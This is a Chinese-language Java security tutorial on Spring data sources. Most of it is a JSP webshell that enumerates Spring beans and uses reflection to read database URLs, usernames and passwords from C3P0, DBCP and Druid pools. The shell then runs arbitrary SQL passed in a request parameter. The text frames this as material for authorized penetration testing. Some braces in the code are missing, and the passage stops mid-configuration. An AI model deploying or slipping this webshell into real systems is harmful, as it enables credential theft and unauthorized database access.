DataSource

    常见的数据源有:DBCPC3P0DruidMybatis DataSource,他们都实现于javax.sql.DataSource接口。

    在Spring MVC中我们可以自由的选择第三方数据源,通常我们会定义一个DataSource Bean用于配置和初始化数据源对象,然后在Spring中就可以通过Bean注入的方式获取数据源对象了。

    在基于XML配置的SpringMVC中配置数据源:

    如上,我们定义了一个id为dataSource的Spring Bean对象,usernamepassword都使用了${jdbc.XXX}表示,很明显${jdbc.username}并不是数据库的用户名,这其实是采用了Spring的property-placeholder制定了一个properties文件,使用${jdbc.username}其实会自动自定义的properties配置文件中的配置信息。

    1. <context:property-placeholder location="classpath:/config/jdbc.properties"/>

    在Spring中我们只需要通过引用这个Bean就可以获取到数据源了,比如在Spring JDBC中通过注入数据源(ref="dataSource")就可以获取到上面定义的dataSource

    1. <!-- jdbcTemplate Spring JDBC 模版 -->
    2. <bean id="jdbcTemplate" class="org.springframework.jdbc.core.JdbcTemplate" abstract="false" lazy-init="false">
    3. <property name="dataSource" ref="dataSource"/>
    4. </bean>

    SpringBoot配置数据源:

    在SpringBoot中只需要在application.propertiesapplication.yml中定义spring.datasource.xxx即可完成DataSource配置。

    我们通常可以通过查找Spring数据库配置信息找到数据库账号密码,但是很多时候我们可能会找到非常多的配置项甚至是加密的配置信息,这将会让我们非常的难以确定真实的数据库配置信息。某些时候在授权渗透测试的情况下我们可能会需要传个shell尝试性的连接下数据库(高危操作,请勿违法!)证明下危害,那么您可以在webshell中使用注入数据源的方式来获取数据库连接对象,甚至是读取数据库密码(切记不要未经用户授权违规操作!)。

    1. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    2. <%@ page import="org.springframework.context.ApplicationContext" %>
    3. <%@ page import="org.springframework.web.context.support.WebApplicationContextUtils" %>
    4. <%@ page import="javax.sql.DataSource" %>
    5. <%@ page import="java.sql.Connection" %>
    6. <%@ page import="java.sql.PreparedStatement" %>
    7. <%@ page import="java.sql.ResultSet" %>
    8. <%@ page import="java.sql.ResultSetMetaData" %>
    9. <%@ page import="java.util.List" %>
    10. <%@ page import="java.util.ArrayList" %>
    11. <%@ page import="java.lang.reflect.InvocationTargetException" %>
    12. <style>
    13. th, td {
    14. border: 1px solid #C1DAD7;
    15. font-size: 12px;
    16. padding: 6px;
    17. color: #4f6b72;
    18. }
    19. </style>
    20. <%!
    21. // C3PO数据源类
    22. private static final String C3P0_CLASS_NAME = "com.mchange.v2.c3p0.ComboPooledDataSource";
    23. // DBCP数据源类
    24. private static final String DBCP_CLASS_NAME = "org.apache.commons.dbcp.BasicDataSource";
    25. //Druid数据源类
    26. private static final String DRUID_CLASS_NAME = "com.alibaba.druid.pool.DruidDataSource";
    27. /**
    28. * 获取所有Spring管理的数据源
    29. * @param ctx Spring上下文
    30. * @return 数据源数组
    31. */
    32. List<DataSource> getDataSources(ApplicationContext ctx) {
    33. List<DataSource> dataSourceList = new ArrayList<DataSource>();
    34. String[] beanNames = ctx.getBeanDefinitionNames();
    35. for (String beanName : beanNames) {
    36. Object object = ctx.getBean(beanName);
    37. if (object instanceof DataSource) {
    38. dataSourceList.add((DataSource) object);
    39. }
    40. }
    41. return dataSourceList;
    42. /**
    43. * 打印Spring的数据源配置信息,当前只支持DBCP/C3P0/Druid数据源类
    44. * @param ctx Spring上下文对象
    45. * @return 数据源配置字符串
    46. * @throws ClassNotFoundException 数据源类未找到异常
    47. * @throws NoSuchMethodException 反射调用时方法没找到异常
    48. * @throws InvocationTargetException 反射调用异常
    49. * @throws IllegalAccessException 反射调用时不正确的访问异常
    50. */
    51. String printDataSourceConfig(ApplicationContext ctx) throws ClassNotFoundException,
    52. NoSuchMethodException, InvocationTargetException, IllegalAccessException {
    53. List<DataSource> dataSourceList = getDataSources(ctx);
    54. for (DataSource dataSource : dataSourceList) {
    55. String className = dataSource.getClass().getName();
    56. String url = null;
    57. String UserName = null;
    58. String PassWord = null;
    59. if (C3P0_CLASS_NAME.equals(className)) {
    60. Class clazz = Class.forName(C3P0_CLASS_NAME);
    61. url = (String) clazz.getMethod("getJdbcUrl").invoke(dataSource);
    62. UserName = (String) clazz.getMethod("getUser").invoke(dataSource);
    63. PassWord = (String) clazz.getMethod("getPassword").invoke(dataSource);
    64. } else if (DBCP_CLASS_NAME.equals(className)) {
    65. Class clazz = Class.forName(DBCP_CLASS_NAME);
    66. url = (String) clazz.getMethod("getUrl").invoke(dataSource);
    67. UserName = (String) clazz.getMethod("getUsername").invoke(dataSource);
    68. PassWord = (String) clazz.getMethod("getPassword").invoke(dataSource);
    69. } else if (DRUID_CLASS_NAME.equals(className)) {
    70. Class clazz = Class.forName(DRUID_CLASS_NAME);
    71. url = (String) clazz.getMethod("getUrl").invoke(dataSource);
    72. UserName = (String) clazz.getMethod("getUsername").invoke(dataSource);
    73. PassWord = (String) clazz.getMethod("getPassword").invoke(dataSource);
    74. }
    75. return "URL:" + url + "<br/>UserName:" + UserName + "<br/>PassWord:" + PassWord + "<br/>";
    76. }
    77. return null;
    78. }
    79. %>
    80. <%
    81. String sql = request.getParameter("sql");// 定义需要执行的SQL语句
    82. // 获取Spring的ApplicationContext对象
    83. ApplicationContext ctx = WebApplicationContextUtils.getWebApplicationContext(pageContext.getServletContext());
    84. // 获取Spring中所有的数据源对象
    85. List<DataSource> dataSourceList = getDataSources(ctx);
    86. // 检查是否获取到了数据源
    87. if (dataSourceList == null) {
    88. out.println("未找到任何数据源配置信息!");
    89. return;
    90. out.println("Spring DataSource配置信息获取测试:");
    91. out.println("<hr/>");
    92. out.print(printDataSourceConfig(ctx));
    93. out.println("<hr/>");
    94. // 定义需要查询的SQL语句
    95. sql = sql != null ? sql : "select version()";
    96. for (DataSource dataSource : dataSourceList) {
    97. out.println("<hr/>");
    98. out.println("SQL语句:<font color='red'>" + sql + "</font>");
    99. out.println("<hr/>");
    100. //从数据源中获取数据库连接对象
    101. Connection connection = dataSource.getConnection();
    102. // 创建预编译查询对象
    103. PreparedStatement pstt = connection.prepareStatement(sql);
    104. // 执行查询并获取查询结果对象
    105. ResultSet rs = pstt.executeQuery();
    106. out.println("<table><tr>");
    107. // 获取查询结果的元数据对象
    108. ResultSetMetaData metaData = rs.getMetaData();
    109. // 从元数据中获取字段信息
    110. for (int i = 1; i <= metaData.getColumnCount(); i++) {
    111. out.println("<th>" + metaData.getColumnName(i) + "(" + metaData.getColumnTypeName(i) + ")\t" + "</th>");
    112. }
    113. out.println("<tr/>");
    114. // 获取JDBC查询结果
    115. while (rs.next()) {
    116. out.println("<tr>");
    117. for (int i = 1; i <= metaData.getColumnCount(); i++) {
    118. out.println("<td>" + rs.getObject(metaData.getColumnName(i)) + "</td>");
    119. }
    120. out.println("<tr/>");
    121. }
    122. rs.close();
    123. pstt.close();
    124. }
    125. %>

    读取数据源信息和执行SQL语句效果:

    上面的代码不需要手动去配置文件中寻找任何信息就可以直接读取出数据库配置信息甚至是执行SQL语句,其实是利用了Spring的ApplicationContext遍历了当前Web应用中Spring管理的所有的Bean,然后找出所有DataSource的对象,通过反射读取出C3P0DBCPDruid这三类数据源的数据库配置信息,最后还利用了DataSource获取了Connection对象实现了数据库查询功能。

    Java Web Server 数据源

    除了第三方数据源库实现,标准的Web容器自身也提供了数据源服务,通常会在容器中配置DataSource信息并注册到JNDI(Java Naming and Directory Interface)中,在Web应用中我们可以通过JNDI的接口lookup(定义的JNDI路径)来获取到DataSource对象。

    Resin需要修改resin.xml,添加database配置,参考:

    1. <database jndi-name='jdbc/test'>
    2. <driver type="com.mysql.jdbc.Driver">
    3. <url>jdbc:mysql://localhost:3306/mysql</url>
    4. <user>root</user>
    5. <password>root</password>